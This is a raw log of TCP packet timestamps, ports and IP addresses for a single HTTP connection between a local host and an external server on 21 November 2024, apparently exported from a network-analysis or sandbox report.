Nov 21, 2024 22:33:35.909707069 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.909754038 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.910922050 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.910972118 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.911052942 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.911101103 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.912271023 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.912319899 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.912360907 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.912426949 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.913827896 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.913880110 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.914129019 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.914176941 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.915291071 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.915348053 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.915381908 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.915429115 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.916820049 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.916872025 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.916932106 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.916977882 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.918342113 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.918395042 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.918432951 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.918479919 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.919867039 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.919918060 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.919951916 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.919989109 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.921363115 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.921412945 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.921524048 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.921574116 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.922895908 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.922946930 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.922991991 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.923037052 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.924391031 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.924442053 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.924530983 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.924586058 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.925942898 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.925993919 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.926071882 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.926119089 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.927445889 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.927496910 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.927581072 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.927629948 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.928929090 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.928976059 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.929009914 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.929055929 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.987054110 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.987149000 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.987245083 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.987323999 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.987783909 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.987832069 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.988018036 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.988061905 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.988149881 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.988203049 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.989562035 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.989617109 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.989658117 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.989702940 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.991085052 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.991137028 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.991189003 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.991235018 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.992579937 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.992633104 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.992693901 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.992741108 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.994142056 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.994189978 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.994236946 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.994283915 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.995668888 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.995718956 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.995826006 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.995873928 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.997112989 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.997173071 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.997206926 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.997251987 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.998699903 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.998724937 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.998769045 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:36.000152111 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:36.000204086 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:36.000242949 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:36.000288963 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:36.001662970 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:36.001720905 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:36.001763105 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:36.001801968 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:36.003177881 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:36.003221035 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:36.003302097 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:36.003346920 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:36.004714012 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:36.004767895 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:36.004806042 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:36.004846096 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:36.006203890 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:36.006252050 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:36.006294012 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:36.006340027 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:36.007731915 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:36.007778883 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:36.007780075 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:36.007816076 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:36.009244919 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:36.009293079 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:36.566442966 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:36.566504002 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:36.566525936 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:36.566565990 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.375143051 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.375298977 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.375340939 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.375382900 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.489954948 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.490015030 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.490055084 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.490091085 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.490489960 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.490534067 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.568279982 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.568324089 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.568366051 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.568389893 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.568892002 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.568944931 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.646648884 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.646672010 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.646722078 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.646753073 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.647285938 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.647345066 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.647420883 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.647466898 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.648710966 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.648766994 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.724566936 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.724667072 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.724809885 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.724853992 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.725277901 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.725330114 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.725397110 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.725440979 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.726819038 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.726866961 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.803054094 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.803071976 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.803167105 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.803675890 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.803708076 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.803723097 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.803807020 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.803854942 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.805128098 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.805177927 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.881002903 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.881062984 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.881191969 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.881191969 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.881727934 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.881784916 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.881819010 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.881865978 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.883254051 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.883307934 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.959372997 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.959460020 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.959485054 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.959507942 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.960001945 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.960053921 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.960288048 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.960335016 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.960385084 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.960427046 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.961833954 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.961883068 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.961934090 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.961992025 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:37.963305950 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:37.963354111 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.005675077 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.005760908 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.037905931 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.037954092 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.037966013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.038007021 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.038645029 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.038693905 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.038758039 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.038798094 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.039838076 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.039884090 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.039978027 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.040019035 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.041296005 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.041337013 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.041486979 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.041526079 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.082076073 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.082124949 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.116398096 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.116472960 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.116494894 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.116535902 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.116899014 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.116950989 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.117012024 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.117055893 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.118443012 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.118508101 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.118766069 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.118814945 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.119945049 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.119999886 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.160382986 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.160459042 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.194446087 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.194503069 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.194545984 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.194593906 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.195164919 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.195213079 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.195311069 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.195364952 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.196686983 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.196737051 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.196783066 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.196827888 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.198184967 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.198230982 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.205080032 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.205156088 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.272731066 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.272830009 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.272949934 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.272998095 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.273438931 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.273483038 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.273566008 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.273607969 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.275010109 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.275063038 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.275064945 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.275109053 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.276484013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.276549101 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.276591063 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.276695013 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.277981997 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.278028011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.278104067 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.278147936 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.350864887 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.350941896 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.350951910 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.350995064 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.351289988 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.351350069 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.351439953 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.351490021 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.352822065 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.352874041 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.352940083 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.352988005 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.354350090 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.354413033 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.354418039 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.354456902 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.355808020 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.355859041 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.356021881 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.356070995 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.357307911 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.357405901 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.429343939 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.429425001 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.429429054 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.429466009 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.430023909 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.430078030 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.430119038 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.430164099 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.431536913 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.431603909 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.431706905 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.431757927 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.433064938 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.433123112 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.433165073 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.433212996 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.434560061 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.434609890 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.434643984 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.434688091 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.507570028 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.507662058 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.507931948 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.507988930 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.544085026 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.663634062 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.944408894 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.944514036 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.944520950 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.944566011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.944871902 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.944885015 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.944916964 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.944930077 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.945497036 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.945545912 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.945612907 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.945652008 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.947045088 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.947120905 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.947221041 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.947264910 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.948551893 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.948616982 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.948654890 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.948697090 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.950124025 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.950174093 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:38.950211048 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:38.951603889 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.022097111 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.022115946 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.022260904 CET	49759	80	192.168.2.4	109.107.157.132
